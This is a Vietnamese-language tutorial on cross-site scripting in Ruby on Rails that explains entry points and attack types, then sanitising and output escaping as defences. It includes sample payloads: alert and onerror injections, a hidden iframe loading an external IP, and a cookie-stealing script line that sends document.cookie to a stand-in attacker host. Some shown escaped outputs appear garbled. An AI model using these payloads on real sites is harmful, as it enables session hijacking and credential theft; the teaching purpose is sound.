XSS Attacks in Rails
1 Giới thiệu 1.1 Tổng quan Đối với ứng dụng web, một trong những lỗ hổng bảo mật phổ biến và gây hại nhất là XSS. Cross-site scripting(XSS) là lỗ hổng cho phép kẻ tấn công chèn và thực thi client-side script trong trang web. 1.2 Entry Points Entry Point(Điểm bắt đầu) là một lỗ hổng trong ...
1 Giới thiệu
1.1 Tổng quan
Đối với ứng dụng web, một trong những lỗ hổng bảo mật phổ biến và gây hại nhất là XSS.
Cross-site scripting(XSS) là lỗ hổng cho phép kẻ tấn công chèn và thực thi client-side script trong trang web.
1.2 Entry Points
Entry Point(Điểm bắt đầu) là một lỗ hổng trong URL và các thông số của nó - nơi kẻ tấn công có thể bắt đầu một cuộc tấn công.
Những entry point thông thường là các message posts, user comments
và guest books,..., tóm lại, bất kì ở đâu mà user có thể input data, điều này không chỉ giới hạn trong các input box trong trang web, có thể từ bất cứ URL parameter - obvious, hidden hay internal. Các ứng dụng như Live HTTP Headers Firefox plugin hay client-site proxies có thể dễ dàng thay đổi các request.
Một tấn công XSS có thể tóm tắt như sau:
Kẻ tấn công chèn vài đoạn mã vào input data, ứng dụng web lưu đoạn mã đó và out put ra file HTML, sau đó file HTML được đọc bởi máy nạn nhân và đoạn mã được thực hiện.
Một ví dụ đơn giản đó là hiển thị một alert box, nhưng XSS có thể làm được nhiều hơn thế: trộm cookie, thay đổi các thành phần của trang web đê lấy thông tin mật hay cài phần mềm độc hại thông qua lỗ hổng bảo mật trong trình duyệt web.
Một dạng entry point mới đó là các banner quảng cáo. Đầu năm 2008, các mã độc được phát hiện trong banner quảng cáo của các site nổi tiếng, như MySpace,Excite.
2 XSS trong Rails
2.1 HTML/JavaScript Injection
Ngôn ngữ phổ biến dùng trong tấn công XSS là ngôn ngữ client-side phổ biến nhất JavaScript, thường kết hợp với HTML.
Mặc định Rails encode string khi output, nhưng có đôi khi lập trình viên không muốn điều đó nên sử dụng một số đoạn mã, ví dụ như:
<%= raw @product.name %> <%= @product.name.html_safe %> <%= content_tag @product.name %>
Nhưng điều đó thật nguy hiểm khi kẻ tấn công dựa vào đó để chèn những đoạn JavaScript vào data input, khi trình duyệt của máy nạn nhân đọc và thực thi các đoạn mã đó, kẻ tấn công đã đạt được mục đích. Một đoạn mã đơn giản để check XSS:
<script>alert('Hello');</script>
Đoạn mã trên sẽ hiển thị một alert box
Vài ví dụ đơn giản khác:
<img src=javascript:alert('Hello')> <table background="javascript:alert('Hello')">
2.1.1 Cookie Theft
Một kiểu vận dụng khác của XSS là để trộm cookie của nạn nhân.
Trong ngôn ngữ Javascript, có thể dùng document.cookie để đọc và ghi cookie của document. Javascript mặc định sử dụng same origin policy, có nghĩa là một đoạn mã từ 1 tên miền không thể truy cập cookie của tên miền khác. Property document.cookie chứa cookie của web server ban đầu. Có thể đọc và ghi property này bằng cách nhúng trực tiếp mã vào HTML document và bạn sẽ thấy cookie của mình trong trang kết quả:
<script>document.write(document.cookie);</script>
Từ ví dụ đơn giản trên, có thể đưa ra một đoạn mã "hữu ích" đối với kẻ tấn công:
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
Tất nhiên URL trên không tồn tại, và thông qua file log truy cập server, kẻ tấn công có thể biết được cookie của nạn nhân. File log của server www.attacker.com nên có dạng:
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
2.1.2 Defacement
Với kiểu tấn công deface(thay đổi nội dung), kẻ tấn công có thể làm được rất nhiều thứ "hay ho", trực tiếp nhất đó là thay đổi nội dung hiển thị của trang web, nguy hiểm hơn như trộm cookie, thông tin đăng nhập hay các thông tin mật khác. Cách phổ biến nhất đó là chèn mã từ một nguồn bên ngoài bằng iframe:
<iframe name="StatPage" src="http://58.xx.xxx.xxx" awidth=5 height=5 style="display:none"></iframe>
Đoạn mã trên sẽ load HTML cùng với JavaScript từ một nguồn bên ngoài http://58.xx.xxx.xxx và nhúng nó vào site bị tấn công.
Kẻ tấn công có thể thay thế login form bằng một form nhìn giống như form ban đầu nhưng gửi thông tin user name và password tới site của kẻ tấn công.
Hoặc có thể dùng CSS Javascript để ấn link ban đầu của trang web, thay vào đó chèn link mà kẻ tấn công muốn đưa vào, như đưa dẫn đến một trang giả mạo nào đó.
3 Cách phòng tránh
Điều quan trọng là lọc những input độc hại và escape output của ứng dụng web
3.1 Sanitising Input
Với XSS, tạo bộ lọc whitelist input còn quan trọng hơn nhiều tạo backlist input, backlist không bao giờ có thể hoàn thiện được.
Ví dụ, do trong input data có <script> và </script> nên có thể gây ra lỗ hổng XSS, một backlist loại bỏ <script> khỏi input của user, nếu kẻ tấn công sử dụng <<script>script>, sau khi lọc, vẫn còn lại <script>.
Các version trước đây của Rails sử dụng bộ lọc backlist input cho các method strip_tags(), strip_links() và sanitize(). Do đó kiểu chèn sau được chấp nhận:
strip_tags("some<<script>script>alert('hello')<</script>/script>")
Bộ lọc trả về some<script>alert('hello')</script>, do đó vẫn có thể bị tấn công XSS. Do đó, việc xây dựng một bộ lọc whilelist là cách tốt hơn, method sanitize() của Rails 2 updated:
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, tags: tags, attributes: %w(href title))
Khi truyền một payload XSS phổ biến:
<%= sanitize '<img src=x onerror=prompt(1)>' %>
Thực tế, đoạn mã trên sẽ output:
<img src=“x”>
Bạn có thể thấy, method sanitize cho phép tag img và attribute src và loại bỏ attribute onerror.
Mặc định, nếu không chỉ định white list tags/atrributes, Rails sẽ tự quyết định cho bạn những cái mã nó cho là "an toàn".
Nếu bạn set whilelist attribute onerror và src đoạn XSS payload sẽ được thực thi:
<%= sanitize '<img src=x onerror=prompt(1)>', attributes: %w(src onerror) %>
Đoạn mã trên sẽ output
<img src="x" onerror="prompt(1)">
3.2 Encoding Output
Như đã nêu ở đầu bài viết, Rails mặc định mã hóa string output. Tuy nhiên có nhiều trường hợp bạn cần phải tự mã hóa HTML output, đặc biệt khi tái hiển thị input chưa được lọc của user, như trường hợp search form. Sử dụng escapeHTML() (hay alias h())để thay thế ký tự HTML input &, ", <, > bởi uninterpreted của chúng &, ", <, và >.
<%= html_escape '<img src=x onerror=prompt(1)>' %>
Đoạn mã trên sẽ output:
<img src=x onerror=prompt(1)>
Nếu bạn dùng một string, do Rails mặc định encode string nên output cũng tương tự trên:
<%= "<img src=x onerror=prompt(1)>" %>
Tuy nhiên khi lập trình, không phải lúc nào bạn cũng nhớ điều đó nên có thể cài gem SafeErb nhắc escape strings từ external sources.
Tham khảo
http://guides.rubyonrails.org/security.html#cross-site-scripting-xss
http://blog.bigbinary.com/2012/05/10/xss-and-rails.html
http://molily.de/xss/
https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#Cross-site_Scripting_.28XSS.29
https://www.netsparker.com/blog/web-security/ruby-on-rails-security-basics/